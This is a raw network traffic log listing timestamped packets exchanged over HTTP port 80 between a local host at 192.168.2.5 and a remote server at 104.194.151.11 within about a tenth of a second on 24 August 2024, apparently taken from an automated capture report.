Aug 24, 2024 11:02:01.580673933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.580684900 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.580694914 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.580698967 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.580705881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.580729961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.580749989 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581207037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581218958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581228971 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581238031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581248999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581249952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581260920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581270933 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581271887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581283092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581291914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581295013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581305027 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581320047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581331015 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581332922 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581341982 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581351995 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581355095 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581366062 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581377029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581384897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581394911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581407070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581418037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.581423998 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581448078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.581460953 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582542896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582554102 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582565069 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582575083 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582585096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582585096 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582597971 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582608938 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582611084 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582619905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582636118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582642078 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582648039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582658052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582665920 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582669973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582680941 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582688093 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582691908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582703114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582709074 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582715988 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582729101 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582747936 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582777977 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582781076 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582792044 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582824945 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582915068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582926035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582936049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582947016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582957983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582957983 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582968950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582978010 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.582981110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.582993031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583004951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583005905 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583044052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583700895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583712101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583723068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583734035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583740950 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583745003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583755016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583765984 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583779097 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583779097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583790064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583800077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583808899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583811998 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583827972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583831072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583839893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583844900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583851099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583870888 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583877087 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583883047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583888054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583894968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583906889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583916903 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583921909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583928108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583933115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583944082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583945036 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583950043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583956003 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583965063 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583975077 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.583976984 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.583987951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584001064 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584005117 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584027052 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584042072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584700108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584711075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584722042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584733009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584743023 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584744930 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584762096 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584791899 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584888935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584901094 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584913015 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584923983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584929943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584939957 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584940910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584953070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584960938 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584964037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584975004 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584986925 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.584991932 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.584997892 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585011005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585022926 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585022926 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.585033894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585041046 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.585045099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585057974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.585067987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.585091114 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.585104942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672434092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672457933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672471046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672507048 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672533035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672545910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672558069 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672569036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672581911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672589064 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672601938 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672610044 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672612906 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672625065 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672637939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672643900 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672648907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672661066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672673941 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672693968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672707081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672713041 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672718048 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672733068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672745943 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672751904 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672756910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672770977 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672779083 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672801971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672831059 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672853947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672866106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672902107 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672911882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672947884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672960997 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672974110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.672990084 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.672991991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673003912 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673007011 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673017979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673032999 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673033953 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673062086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673083067 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673243999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673285961 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673306942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673317909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673327923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673341990 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673352957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673357964 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673365116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.673389912 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.673403025 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674681902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674691916 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674702883 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674725056 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674773932 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674782991 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674806118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674818039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674824953 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674848080 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674869061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674916983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674927950 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674938917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674951077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674962044 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.674963951 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674976110 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674982071 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674993992 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.674994946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675018072 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675056934 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675157070 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675168037 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675179005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675189972 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675200939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675210953 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675219059 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675221920 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675228119 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675234079 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675240040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675254107 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675255060 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675255060 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675265074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675282955 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675293922 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675296068 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675306082 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675316095 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675328016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675329924 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675339937 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675340891 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675359011 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675360918 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675371885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675381899 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675391912 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675394058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675405979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675416946 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675424099 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675427914 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675446987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675453901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675467968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675471067 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675484896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675494909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675497055 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675528049 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675554991 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675571918 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675582886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675594091 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675614119 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675625086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675657034 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675687075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675698996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675709963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675721884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675729036 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675733089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675760984 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675764084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675776005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675780058 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675786018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675796986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675810099 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675818920 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675821066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675832033 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.675848007 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675873041 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.675988913 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676001072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676012039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676026106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676038027 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676042080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676053047 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676058054 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676064014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676086903 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676100016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676110983 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676115036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676131964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676142931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676142931 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676153898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676166058 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676171064 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676177979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676206112 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676218987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676331043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676376104 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676409006 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676450968 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676477909 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676495075 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676506042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676515102 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676538944 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:01.676656008 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676666021 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676686049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676696062 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:01.676701069 CEST	49704	80	192.168.2.5	104.194.151.11
